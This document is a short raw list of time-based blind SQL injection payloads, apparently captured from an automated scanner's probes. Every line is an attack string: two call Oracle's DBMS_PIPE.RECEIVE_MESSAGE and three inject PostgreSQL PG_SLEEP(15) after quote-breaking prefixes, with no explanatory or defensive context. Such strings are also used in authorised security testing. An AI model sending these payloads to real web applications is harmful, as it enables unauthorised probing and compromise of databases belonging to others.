555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555Se5Z90rH')) OR 256=(SELECT 256 FROM PG_SLEEP(15))--
555oiC3lusJ') OR 988=(SELECT 988 FROM PG_SLEEP(15))--
555JGiu6aEU' OR 850=(SELECT 850 FROM PG_SLEEP(15))--